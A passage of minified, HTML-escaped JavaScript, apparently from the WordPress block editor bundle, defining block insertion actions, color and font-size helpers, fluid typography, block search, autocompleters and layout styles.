s=o.getBlockRootClientId(e[0]),a=Xp(e),c=o.getBlockIndex(a[a.length-1]),u=n.map(d=&gt;(0,be.__experimentalCloneSanitizedBlock)(d));return r.insertBlocks(u,c+1,s,t),u.length&gt;1&amp;&amp;t&amp;&amp;r.multiSelect(u[0].clientId,u[u.length-1].clientId),u.map(d=&gt;d.clientId)},Rke=e=&gt;({select:t,dispatch:o})=&gt;{if(!e)return;let r=t.getBlockRootClientId(e),n=t.getBlockIndex(e),i=r?t.getDirectInsertBlock(r):null;if(!i)return o.insertDefaultBlock({},r,n);let s={};if(i.attributesToCopy){let c=t.getBlockAttributes(e);i.attributesToCopy.forEach(u=&gt;{c[u]&amp;&amp;(s[u]=c[u])})}let a=(0,be.createBlock)(i.name,{...i.attributes,...s});return o.insertBlock(a,n,r)},Oke=e=&gt;({select:t,dispatch:o})=&gt;{if(!e)return;let r=t.getBlockRootClientId(e),n=t.getBlockIndex(e),i=r?t.getDirectInsertBlock(r):null;if(!i)return o.insertDefaultBlock({},r,n+1);let s={};if(i.attributesToCopy){let c=t.getBlockAttributes(e);i.attributesToCopy.forEach(u=&gt;{c[u]&amp;&amp;(s[u]=c[u])})}let a=(0,be.createBlock)(i.name,{...i.attributes,...s});return o.insertBlock(a,n+1,r)};function lM(e,t){return{type:&quot;TOGGLE_BLOCK_HIGHLIGHT&quot;,clientId:e,isHighlighted:t}}var Ake=(e,t=150)=&gt;async({dispatch:o})=&gt;{o(lM(e,!0)),await new Promise(r=&gt;setTimeout(r,t)),o(lM(e,!1))};function Lke(e,t){return{type:&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;,hasControlledInnerBlocks:t,clientId:e}}function Nke(e){return{type:&quot;SET_BLOCK_VISIBILITY&quot;,updates:e}}function Mke(e){return(0,mu.default)(&quot;wp.data.dispatch( &#039;core/block-editor&#039; ).__unstableSetTemporarilyEditingAsBlocks&quot;,{since:&quot;7.0&quot;}),sM(e)}var Dke=e=&gt;({select:t,dispatch:o})=&gt;{if(!e||typeof e!=&quot;object&quot;){console.error(&quot;Category should be an `InserterMediaCategory` object.&quot;);return}if(!e.name){console.error(&quot;Category should have a `name` that should be unique among all media categories.&quot;);return}if(!e.labels?.name){console.error(&quot;Category should have a `labels.name`.&quot;);return}if(![&quot;image&quot;,&quot;audio&quot;,&quot;video&quot;].includes(e.mediaType)){console.error(&quot;Category should have `mediaType` property that is one of `image|audio|video`.&quot;);return}if(!e.fetch||typeof e.fetch!=&quot;function&quot;){console.error(&quot;Category should have a `fetch` function defined with the following signature `(InserterMediaRequest) =&gt; Promise&lt;InserterMediaItem[]&gt;`.&quot;);return}let r=t.getRegisteredInserterMediaCategories();if(r.some(({name:n})=&gt;n===e.name)){console.error(`A category is already registered with the same name: &quot;${e.name}&quot;.`);return}if(r.some(({labels:{name:n}={}})=&gt;n===e.labels?.name)){console.error(`A category is already registered with the same labels.name: &quot;${e.labels.name}&quot;.`);return}o({type:&quot;REGISTER_INSERTER_MEDIA_CATEGORY&quot;,category:{...e,isExternalResource:!0}})};function Vke(e=&quot;&quot;,t){return{type:&quot;SET_BLOCK_EDITING_MODE&quot;,clientId:e,mode:t}}function Fke(e=&quot;&quot;){return{type:&quot;UNSET_BLOCK_EDITING_MODE&quot;,clientId:e}}function zke(e){return{type:&quot;SET_OPEN_LIST_VIEW_PANEL&quot;,clientId:e}}function jke(){return{type:&quot;SET_ALL_LIST_VIEW_PANELS_OPEN&quot;}}function Uke(e,t){return{type:&quot;TOGGLE_LIST_VIEW_PANEL&quot;,clientId:e,isOpen:t}}function Hke(){return{type:&quot;INCREMENT_LIST_VIEW_EXPAND_REVISION&quot;}}var Qp={reducer:Q6,selectors:rM,actions:cM},_=(0,Nw.createReduxStore)(Kt,{...Qp,persist:[&quot;preferences&quot;]}),tU=(0,Nw.registerStore)(Kt,{...Qp,persist:[&quot;preferences&quot;]});M(tU).registerPrivateActions(Aw);M(tU).registerPrivateSelectors(Tw);M(_).registerPrivateActions(Aw);M(_).registerPrivateSelectors(Tw);var Jp=l(A(),1),oU=l(N(),1);var Ss=l(w(),1);function Gke({className:e,actions:t,children:o,secondaryActions:r}){return(0,Ss.jsx)(&quot;div&quot;,{style:{display:&quot;contents&quot;,all:&quot;initial&quot;},children:(0,Ss.jsx)(&quot;div&quot;,{className:V(e,&quot;block-editor-warning&quot;),children:(0,Ss.jsxs)(&quot;div&quot;,{className:&quot;block-editor-warning__contents&quot;,children:[(0,Ss.jsx)(&quot;p&quot;,{className:&quot;block-editor-warning__message&quot;,children:o}),(t?.length&gt;0||r)&amp;&amp;(0,Ss.jsxs)(&quot;div&quot;,{className:&quot;block-editor-warning__actions&quot;,children:[t?.length&gt;0&amp;&amp;t.map((n,i)=&gt;(0,Ss.jsx)(&quot;span&quot;,{className:&quot;block-editor-warning__action&quot;,children:n},i)),r&amp;&amp;(0,Ss.jsx)(Jp.DropdownMenu,{className:&quot;block-editor-warning__secondary&quot;,icon:ks,label:(0,oU.__)(&quot;More options&quot;),popoverProps:{placement:&quot;bottom-end&quot;,className:&quot;block-editor-warning__dropdown&quot;},noIcons:!0,children:()=&gt;(0,Ss.jsx)(Jp.MenuGroup,{children:r.map((n,i)=&gt;(0,Ss.jsx)(Jp.MenuItem,{onClick:n.onClick,children:n.title},i))})})]})]})})})}var pu=Gke;var eh=l(w(),1);function iU({originalBlockClientId:e,name:t,onReplace:o}){let{selectBlock:r}=(0,nU.useDispatch)(_),n=(0,rU.getBlockType)(t);return(0,eh.jsxs)(pu,{actions:[(0,eh.jsx)(uM.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;r(e),children:(0,Mw.__)(&quot;Find original&quot;)},&quot;find-original&quot;),(0,eh.jsx)(uM.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;o([]),children:(0,Mw.__)(&quot;Remove&quot;)},&quot;remove&quot;)],children:[(0,eh.jsxs)(&quot;strong&quot;,{children:[n?.title,&quot;: &quot;]}),(0,Mw.__)(&quot;This block can only be used once.&quot;)]})}var Nv=l(w(),1);function Fw({mayDisplayControls:e,mayDisplayParentControls:t,mayDisplayPatternEditingControls:o,blockEditingMode:r,isPreviewMode:n,...i}){let{name:s,isSelected:a,clientId:c,attributes:u={},__unstableLayoutClassNames:d}=i,{layout:f=null,metadata:m={}}=u,{bindings:h}=m,p=(0,Dw.hasBlockSupport)(s,&quot;layout&quot;,!1)||(0,Dw.hasBlockSupport)(s,&quot;__experimentalLayout&quot;,!1),b=!!Ie()[Hk]||(0,Dw.hasBlockSupport)(s,&quot;listView&quot;)||s===&quot;core/navigation&quot;,{originalBlockClientId:v}=(0,Vw.useContext)(ur);return(0,Nv.jsxs)(f0,{value:(0,Vw.useMemo)(()=&gt;({name:s,isSelected:a,clientId:c,layout:p?f:null,__unstableLayoutClassNames:d,[bs]:e,[Pp]:t,[$c]:o&amp;&amp;r!==&quot;disabled&quot;,[u0]:r,[Rp]:h,[d0]:n,[Hk]:b}),[s,a,c,p,f,d,e,t,o,r,h,n,b]),children:[(0,Nv.jsx)(z6,{...i}),v&amp;&amp;(0,Nv.jsx)(iU,{originalBlockClientId:v,name:s,onReplace:i.onReplace})]})}function me(...e){let{clientId:t=null}=Ie();return(0,sU.useSelect)(o=&gt;M(o(_)).getBlockSettings(t,...e),[t,...e])}function lU(e){(0,aU.default)(&quot;wp.blockEditor.useSetting&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.blockEditor.useSettings&quot;,note:&quot;The new useSettings function can retrieve multiple settings at once, with better performance.&quot;});let[t]=me(e);return t}var jw=l(w(),1),{kebabCase:Wke}=M(uU.privateApis),cU=([e,...t])=&gt;e.toUpperCase()+t.join(&quot;&quot;),$ke=e=&gt;(0,zf.createHigherOrderComponent)(t=&gt;function(r){return(0,jw.jsx)(t,{...r,colors:e})},&quot;withCustomColorPalette&quot;),Kke=()=&gt;(0,zf.createHigherOrderComponent)(e=&gt;function(o){let[r,n,i]=me(&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;),s=(0,zw.useMemo)(()=&gt;[...r||[],...n||[],...i||[]],[r,n,i]);return(0,jw.jsx)(e,{...o,colors:s})},&quot;withEditorColorPalette&quot;);function dU(e,t){let o=e.reduce((r,n)=&gt;({...r,...typeof n==&quot;string&quot;?{[n]:Wke(n)}:n}),{});return(0,zf.compose)([t,r=&gt;class extends zw.Component{constructor(i){super(i),this.setters=this.createSetters(),this.colorUtils={getMostReadableColor:this.getMostReadableColor.bind(this)},this.state={}}getMostReadableColor(i){let{colors:s}=this.props;return P6(s,i)}createSetters(){return Object.keys(o).reduce((i,s)=&gt;{let a=cU(s),c=`custom${a}`;return i[`set${a}`]=this.createSetColor(s,c),i},{})}createSetColor(i,s){return a=&gt;{let c=p0(this.props.colors,a);this.props.setAttributes({[i]:c&amp;&amp;c.slug?c.slug:void 0,[s]:c&amp;&amp;c.slug?void 0:a})}}static getDerivedStateFromProps({attributes:i,colors:s},a){return Object.entries(o).reduce((c,[u,d])=&gt;{let f=da(s,i[u],i[`custom${cU(u)}`]),m=a[u];return m?.color===f.color&amp;&amp;m?c[u]=m:c[u]={...f,class:_i(d,f.slug)},c},{})}render(){return(0,jw.jsx)(r,{...this.props,colors:void 0,...this.state,...this.setters,colorUtils:this.colorUtils})}}])}function fU(e){return(...t)=&gt;{let o=$ke(e);return(0,zf.createHigherOrderComponent)(dU(t,o),&quot;withCustomColors&quot;)}}function mU(...e){let t=Kke();return(0,zf.createHigherOrderComponent)(dU(e,t),&quot;withColors&quot;)}var Uw=l(R(),1),Hw=l(F(),1);function th(e){if(e)return`has-${e}-gradient-background`}function Gw(e,t){let o=e?.find(r=&gt;r.slug===t);return o&amp;&amp;o.gradient}function pU(e,t){return e?.find(r=&gt;r.gradient===t)}function hU(e,t){let o=pU(e,t);return o&amp;&amp;o.slug}function Yke({gradientAttribute:e=&quot;gradient&quot;,customGradientAttribute:t=&quot;customGradient&quot;}={}){let{clientId:o}=Ie(),[r,n,i]=me(&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;),s=(0,Uw.useMemo)(()=&gt;[...r||[],...n||[],...i||[]],[r,n,i]),{gradient:a,customGradient:c}=(0,Hw.useSelect)(h=&gt;{let{getBlockAttributes:p}=h(_),g=p(o)||{};return{customGradient:g[t],gradient:g[e]}},[o,e,t]),{updateBlockAttributes:u}=(0,Hw.useDispatch)(_),d=(0,Uw.useCallback)(h=&gt;{let p=hU(s,h);if(p){u(o,{[e]:p,[t]:void 0});return}u(o,{[e]:void 0,[t]:h})},[s,o,u]),f=th(a),m;return a?m=Gw(s,a):m=c,{gradientClass:f,gradientValue:m,setGradient:d}}var gU=l(A(),1);var{kebabCase:qke}=M(gU.privateApis),oh=(e,t,o)=&gt;{if(t){let r=e?.find(({slug:n})=&gt;n===t);if(r)return r}return{size:o}};function dM(e,t){let o=e?.find(({size:r})=&gt;r===t);return o||{size:t}}function hu(e){if(e)return`has-${qke(e)}-font-size`}var Zke=&quot;1600px&quot;,Xke=&quot;320px&quot;,Qke=1,Jke=.25,eve=.75,tve=&quot;14px&quot;;function bU({minimumFontSize:e,maximumFontSize:t,fontSize:o,minimumViewportWidth:r=Xke,maximumViewportWidth:n=Zke,scaleFactor:i=Qke,minimumFontSizeLimit:s}){if(s=gu(s)?s:tve,o){let y=gu(o);if(!y?.unit)return null;let S=gu(s,{coerceTo:y.unit});if(S?.value&amp;&amp;!e&amp;&amp;!t&amp;&amp;y?.value&lt;=S?.value)return null;if(t||(t=`${y.value}${y.unit}`),!e){let x=y.unit===&quot;px&quot;?y.value:y.value*16,C=Math.min(Math.max(1-.075*Math.log2(x),Jke),eve),B=Mv(y.value*C,3);S?.value&amp;&amp;B&lt;S?.value?e=`${S.value}${S.unit}`:e=`${B}${y.unit}`}}let a=gu(e),c=a?.unit||&quot;rem&quot;,u=gu(t,{coerceTo:c});if(!a||!u)return null;let d=gu(e,{coerceTo:&quot;rem&quot;}),f=gu(n,{coerceTo:c}),m=gu(r,{coerceTo:c});if(!f||!m||!d)return null;let h=f.value-m.value;if(!h)return null;let p=Mv(m.value/100,3),g=Mv(p,3)+c,b=100*((u.value-a.value)/h),v=Mv((b||1)*i,3),k=`${d.value}${d.unit} + ((1vw - ${g}) * ${v})`;return`clamp(${e}, ${k}, ${t})`}function gu(e,t={}){if(typeof e!=&quot;string&quot;&amp;&amp;typeof e!=&quot;number&quot;)return null;isFinite(e)&amp;&amp;(e=`${e}px`);let{coerceTo:o,rootSizeValue:r,acceptableUnits:n}={coerceTo:&quot;&quot;,rootSizeValue:16,acceptableUnits:[&quot;rem&quot;,&quot;px&quot;,&quot;em&quot;],...t},i=n?.join(&quot;|&quot;),s=new RegExp(`^(\\d*\\.?\\d+)(${i}){1,1}$`),a=e.match(s);if(!a||a.length&lt;3)return null;let[,c,u]=a,d=parseFloat(c);return o===&quot;px&quot;&amp;&amp;(u===&quot;em&quot;||u===&quot;rem&quot;)&amp;&amp;(d=d*r,u=o),u===&quot;px&quot;&amp;&amp;(o===&quot;em&quot;||o===&quot;rem&quot;)&amp;&amp;(d=d/r,u=o),(o===&quot;em&quot;||o===&quot;rem&quot;)&amp;&amp;(u===&quot;em&quot;||u===&quot;rem&quot;)&amp;&amp;(u=o),{value:Mv(d,3),unit:u}}function Mv(e,t=3){let o=Math.pow(10,t);return Number.isFinite(e)?parseFloat(Math.round(e*o)/o):void 0}var kU=l(A(),1);var vU=l(w(),1);function ove(e){let[t,o]=me(&quot;typography.fontSizes&quot;,&quot;typography.customFontSize&quot;);return(0,vU.jsx)(kU.FontSizePicker,{...e,fontSizes:t,disableCustomFontSizes:!o,__next40pxDefaultSize:!0})}var fM=ove;var Dv=l(Z(),1),SU=l(R(),1);var mM=l(w(),1),rve=[],yU=([e,...t])=&gt;e.toUpperCase()+t.join(&quot;&quot;),_U=(...e)=&gt;{let t=e.reduce((o,r)=&gt;(o[r]=`custom${yU(r)}`,o),{});return(0,Dv.createHigherOrderComponent)((0,Dv.compose)([(0,Dv.createHigherOrderComponent)(o=&gt;function(n){let[i]=me(&quot;typography.fontSizes&quot;);return(0,mM.jsx)(o,{...n,fontSizes:i||rve})},&quot;withFontSizes&quot;),o=&gt;class extends SU.Component{constructor(n){super(n),this.setters=this.createSetters(),this.state={}}createSetters(){return Object.entries(t).reduce((n,[i,s])=&gt;{let a=yU(i);return n[`set${a}`]=this.createSetFontSize(i,s),n},{})}createSetFontSize(n,i){return s=&gt;{let a=this.props.fontSizes?.find(({size:c})=&gt;c===Number(s));this.props.setAttributes({[n]:a&amp;&amp;a.slug?a.slug:void 0,[i]:a&amp;&amp;a.slug?void 0:s})}}static getDerivedStateFromProps({attributes:n,fontSizes:i},s){let a=(u,d)=&gt;s[d]?n[d]?n[d]!==s[d].slug:s[d].size!==n[u]:!0;if(!Object.values(t).some(a))return null;let c=Object.entries(t).filter(([u,d])=&gt;a(d,u)).reduce((u,[d,f])=&gt;{let m=n[d],h=oh(i,m,n[f]);return u[d]={...h,class:hu(m)},u},{});return{...s,...c}}render(){return(0,mM.jsx)(o,{...this.props,fontSizes:void 0,...this.state,...this.setters})}}]),&quot;withFontSizes&quot;)};var bu=l(N(),1),Ww=l(A(),1);var xU=l(w(),1),nve=[{icon:Jc,title:(0,bu.__)(&quot;Align text left&quot;),align:&quot;left&quot;},{icon:Sf,title:(0,bu.__)(&quot;Align text center&quot;),align:&quot;center&quot;},{icon:eu,title:(0,bu.__)(&quot;Align text right&quot;),align:&quot;right&quot;}],ive={placement:&quot;bottom-start&quot;};function sve({value:e,onChange:t,alignmentControls:o=nve,label:r=(0,bu.__)(&quot;Align text&quot;),description:n=(0,bu.__)(&quot;Change text alignment&quot;),isCollapsed:i=!0,isToolbar:s}){function a(m){return()=&gt;t(e===m?void 0:m)}let c=o.find(m=&gt;m.align===e);function u(){return c?c.icon:(0,bu.isRTL)()?eu:Jc}let d=s?Ww.ToolbarGroup:Ww.ToolbarDropdownMenu,f=s?{isCollapsed:i}:{toggleProps:{description:n},popoverProps:ive};return(0,xU.jsx)(d,{icon:u(),label:r,controls:o.map(m=&gt;{let{align:h}=m;return{...m,isActive:e===h,role:i?&quot;menuitemradio&quot;:void 0,onClick:a(h)}}),...f})}var pM=sve;var hM=l(w(),1),$w=e=&gt;(0,hM.jsx)(pM,{...e,isToolbar:!1}),wU=e=&gt;(0,hM.jsx)(pM,{...e,isToolbar:!0});var Jw=l(ut(),1),eC=l(A(),1),$U=l(R(),1),tC=l($(),1);var DU=l(F(),1),vu=l($(),1),yM=l(R(),1);var AU=l(TU(),1);var gM=function(e,t){return gM=Object.setPrototypeOf||{__proto__:[]}instanceof Array&amp;&amp;function(o,r){o.__proto__=r}||function(o,r){for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&amp;&amp;(o[n]=r[n])},gM(e,t)};function IU(e,t){if(typeof t!=&quot;function&quot;&amp;&amp;t!==null)throw new TypeError(&quot;Class extends value &quot;+String(t)+&quot; is not a constructor or null&quot;);gM(e,t);function o(){this.constructor=e}e.prototype=t===null?Object.create(t):(o.prototype=t.prototype,new o)}var Fo=function(){return Fo=Object.assign||function(t){for(var o,r=1,n=arguments.length;r&lt;n;r++){o=arguments[r];for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&amp;&amp;(t[i]=o[i])}return t},Fo.apply(this,arguments)};function PU(e){return e.toLowerCase()}var dve=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],fve=/[^A-Z0-9]+/gi;function OU(e,t){t===void 0&amp;&amp;(t={});for(var o=t.splitRegexp,r=o===void 0?dve:o,n=t.stripRegexp,i=n===void 0?fve:n,s=t.transform,a=s===void 0?PU:s,c=t.delimiter,u=c===void 0?&quot; &quot;:c,d=RU(RU(e,r,&quot;$1\0$2&quot;),i,&quot;\0&quot;),f=0,m=d.length;d.charAt(f)===&quot;\0&quot;;)f++;for(;d.charAt(m-1)===&quot;\0&quot;;)m--;return d.slice(f,m).split(&quot;\0&quot;).map(a).join(u)}function RU(e,t,o){return t instanceof RegExp?e.replace(t,o):t.reduce(function(r,n){return r.replace(n,o)},e)}var mve=e=&gt;e.name||&quot;&quot;,pve=e=&gt;e.title,hve=e=&gt;e.description||&quot;&quot;,gve=e=&gt;e.keywords||[],bve=e=&gt;e.category,kve=()=&gt;null,vve=[/([\p{Ll}\p{Lo}\p{N}])([\p{Lu}\p{Lt}])/gu,/([\p{Lu}\p{Lt}])([\p{Lu}\p{Lt}][\p{Ll}\p{Lo}])/gu],yve=new RegExp(&quot;(\\p{C}|\\p{P}|\\p{S})+&quot;,&quot;giu&quot;),bM=new Map,kM=new Map;function Yw(e=&quot;&quot;){if(bM.has(e))return bM.get(e);let t=OU(e,{splitRegexp:vve,stripRegexp:yve}).split(&quot; &quot;).filter(Boolean);return bM.set(e,t),t}function Vv(e=&quot;&quot;){if(kM.has(e))return kM.get(e);let t=(0,AU.default)(e);return t=t.replace(/^\//,&quot;&quot;),t=t.toLowerCase(),kM.set(e,t),t}var Fv=(e=&quot;&quot;)=&gt;Yw(Vv(e)),Sve=(e,t)=&gt;e.filter(o=&gt;!Fv(t).some(r=&gt;r.includes(o))),qw=(e,t,o,r)=&gt;Fv(r).length===0?e:zv(e,r,{getCategory:s=&gt;t.find(({slug:a})=&gt;a===s.category)?.title,getCollection:s=&gt;o[s.name.split(&quot;/&quot;)[0]]?.title}),zv=(e=[],t=&quot;&quot;,o={})=&gt;{if(Fv(t).length===0)return e;let n=e.map(i=&gt;[i,_ve(i,t,o)]).filter(([,i])=&gt;i&gt;0);return n.sort(([,i],[,s])=&gt;s-i),n.map(([i])=&gt;i)};function _ve(e,t,o={}){let{getName:r=mve,getTitle:n=pve,getDescription:i=hve,getKeywords:s=gve,getCategory:a=bve,getCollection:c=kve}=o,u=r(e),d=n(e),f=i(e),m=s(e),h=a(e),p=c(e),g=Vv(t),b=Vv(d),v=0;if(g===b)v+=30;else if(b.startsWith(g))v+=20;else{let k=[u,d,f,...m,h,p].join(&quot; &quot;),y=Yw(g);Sve(y,k).length===0&amp;&amp;(v+=10)}if(v!==0&amp;&amp;u.startsWith(&quot;core/&quot;)){let k=u!==e.id;v+=k?1:2}return v}var pa=l($(),1),rh=l(F(),1),Zw=l(R(),1),LU=l(Un(),1),Xw=l(N(),1);var xve=(e,t,o)=&gt;{let r=(0,Zw.useMemo)(()=&gt;({[uu]:!!o}),[o]),[n]=(0,rh.useSelect)(d=&gt;[d(_).getInserterItems(e,r)],[e,r]),{getClosestAllowedInsertionPoint:i}=M((0,rh.useSelect)(_)),{createErrorNotice:s}=(0,rh.useDispatch)(LU.store),[a,c]=(0,rh.useSelect)(d=&gt;{let{getCategories:f,getCollections:m}=d(pa.store);return[f(),m()]},[]),u=(0,Zw.useCallback)(({name:d,initialAttributes:f,innerBlocks:m,syncStatus:h,content:p},g)=&gt;{let b=i(d,e);if(b===null){let k=(0,pa.getBlockType)(d)?.title??d;s((0,Xw.sprintf)((0,Xw.__)(`Block &quot;%s&quot; can&#039;t be inserted.`),k),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;});return}let v=h===&quot;unsynced&quot;?(0,pa.parse)(p,{__unstableSkipMigrationLogs:!0}):(0,pa.createBlock)(d,f,(0,pa.createBlocksFromInnerBlocksTemplate)(m));t(v,void 0,g,b)},[i,e,t,s]);return[n,a,c,u]},ku=xve;var NU=l(A(),1);var MU=l(R(),1),vM=l(w(),1);function wve({icon:e,showColors:t=!1,className:o,context:r}){e?.src===&quot;block-default&quot;&amp;&amp;(e={src:Jk});let n=(0,vM.jsx)(NU.Icon,{icon:e&amp;&amp;e.src?e.src:e,context:r}),i=t?{backgroundColor:e&amp;&amp;e.background,color:e&amp;&amp;e.foreground}:{};return(0,vM.jsx)(&quot;span&quot;,{style:i,className:V(&quot;block-editor-block-icon&quot;,o,{&quot;has-colors&quot;:t}),children:n})}var Ae=(0,MU.memo)(wve);var Qw=(e,t)=&gt;(t&amp;&amp;e.sort(({id:o},{id:r})=&gt;{let n=t.indexOf(o),i=t.indexOf(r);return n&lt;0&amp;&amp;(n=t.length),i&lt;0&amp;&amp;(i=t.length),n-i}),e);var nh=l(w(),1),Cve=()=&gt;{},Bve=9;function Eve(){return{name:&quot;blocks&quot;,className:&quot;block-editor-autocompleters__block&quot;,triggerPrefix:&quot;/&quot;,useItems(e){let{rootClientId:t,selectedBlockId:o,prioritizedBlocks:r}=(0,DU.useSelect)(u=&gt;{let{getSelectedBlockClientId:d,getBlock:f,getBlockListSettings:m,getBlockRootClientId:h}=u(_),{getActiveBlockVariation:p}=u(vu.store),g=d(),{name:b,attributes:v}=f(g),k=p(b,v),y=h(g);return{selectedBlockId:k?`${b}/${k.name}`:b,rootClientId:y,prioritizedBlocks:m(y)?.prioritizedInserterBlocks}},[]),[n,i,s]=ku(t,Cve,!0),a=(0,yM.useMemo)(()=&gt;(e.trim()?qw(n,i,s,e):Qw(ma(n,&quot;frecency&quot;,&quot;desc&quot;),r)).filter(d=&gt;d.id!==o).slice(0,Bve),[e,o,n,i,s,r]);return[(0,yM.useMemo)(()=&gt;a.map(u=&gt;{let{title:d,icon:f,isDisabled:m}=u;return{key:`block-${u.id}`,value:u,label:(0,nh.jsxs)(nh.Fragment,{children:[(0,nh.jsx)(Ae,{icon:f,showColors:!0},&quot;icon&quot;),d]}),isDisabled:m}}),[a])]},allowContext(e,t){return!(/\S/.test(e)||/\S/.test(t))},getOptionCompletion(e){let{name:t,initialAttributes:o,innerBlocks:r,syncStatus:n,blocks:i}=e;return{action:&quot;replace&quot;,value:n===&quot;unsynced&quot;?(i??[]).map(s=&gt;(0,vu.cloneBlock)(s)):(0,vu.createBlock)(t,o,(0,vu.createBlocksFromInnerBlocksTemplate)(r))}}}}var VU=Eve();var UU=l(zU(),1),HU=l(dn(),1);var GU=l(SM(),1),jf=l(w(),1),Tve=10;function Ive(){return{name:&quot;links&quot;,className:&quot;block-editor-autocompleters__link&quot;,triggerPrefix:&quot;[[&quot;,options:async e=&gt;{let t=await(0,UU.default)({path:(0,HU.addQueryArgs)(&quot;/wp/v2/search&quot;,{per_page:Tve,search:e,type:&quot;post&quot;,order_by:&quot;menu_order&quot;})});return t=t.filter(o=&gt;o.title!==&quot;&quot;),t},getOptionKeywords(e){return[...e.title.split(/\s+/)]},getOptionLabel(e){return(0,jf.jsxs)(jf.Fragment,{children:[(0,jf.jsx)(we,{icon:e.subtype===&quot;page&quot;?kl:YL},&quot;icon&quot;),(0,GU.decodeEntities)(e.title)]})},getOptionCompletion(e){return(0,jf.jsx)(&quot;a&quot;,{href:e.url,children:e.title})}}}var WU=Ive();var KU=l(w(),1),Pve=[];function YU({completers:e=Pve}){let{name:t}=Ie();return(0,$U.useMemo)(()=&gt;{let o=[...e,WU];return(t===(0,tC.getDefaultBlockName)()||(0,tC.getBlockSupport)(t,&quot;__experimentalSlashInserter&quot;,!1))&amp;&amp;(o=[...o,VU]),(0,Jw.hasFilter)(&quot;editor.Autocomplete.completers&quot;)&amp;&amp;(o===e&amp;&amp;(o=o.map(r=&gt;({...r}))),o=(0,Jw.applyFilters)(&quot;editor.Autocomplete.completers&quot;,o,t)),o},[e,t])}function qU(e){return(0,eC.__unstableUseAutocompleteProps)({...e,completers:YU(e)})}function Rve(e){return(0,KU.jsx)(eC.Autocomplete,{...e,completers:YU(e)})}var ZU=Rve;var BM=l(N(),1),xu=l(A(),1);var gH=l(F(),1);var aC=l(R(),1);var Pi=l(N(),1);var mn=l(A(),1);var ih=l(N(),1);var Hn={default:{name:&quot;default&quot;,slug:&quot;flow&quot;,className:&quot;is-layout-flow&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},constrained:{name:&quot;constrained&quot;,slug:&quot;constrained&quot;,className:&quot;is-layout-constrained&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--content-size)&quot;,&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; .alignwide&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--wide-size)&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},flex:{name:&quot;flex&quot;,slug:&quot;flex&quot;,className:&quot;is-layout-flex&quot;,displayMode:&quot;flex&quot;,baseStyles:[{selector:&quot;&quot;,rules:{&quot;flex-wrap&quot;:&quot;wrap&quot;,&quot;align-items&quot;:&quot;center&quot;}},{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]},grid:{name:&quot;grid&quot;,slug:&quot;grid&quot;,className:&quot;is-layout-grid&quot;,displayMode:&quot;grid&quot;,baseStyles:[{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]}};function Gn(e,t=&quot;&quot;){return e.split(&quot;,&quot;).map(o=&gt;`${o}${t?` ${t}`:&quot;&quot;}`).join(&quot;,&quot;)}function yu(e,t=Hn,o,r){let n=&quot;&quot;;return t?.[o]?.spacingStyles?.length&amp;&amp;r&amp;&amp;t[o].spacingStyles.forEach(i=&gt;{n+=`${Gn(e,i.selector.trim())} { `,n+=Object.entries(i.rules).map(([s,a])=&gt;`${s}: ${a||r}`).join(&quot;; &quot;),n+=&quot;; }&quot;}),n}function oC(e){let{contentSize:t,wideSize:o,type:r=&quot;default&quot;}=e,n={},i=/^(?!0)\d+(px|em|rem|vw|vh|%|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)?$/i;return i.test(t)&amp;&amp;r===&quot;constrained&quot;&amp;&amp;(n.none=(0,ih.sprintf)((0,ih.__)(&quot;Max %s 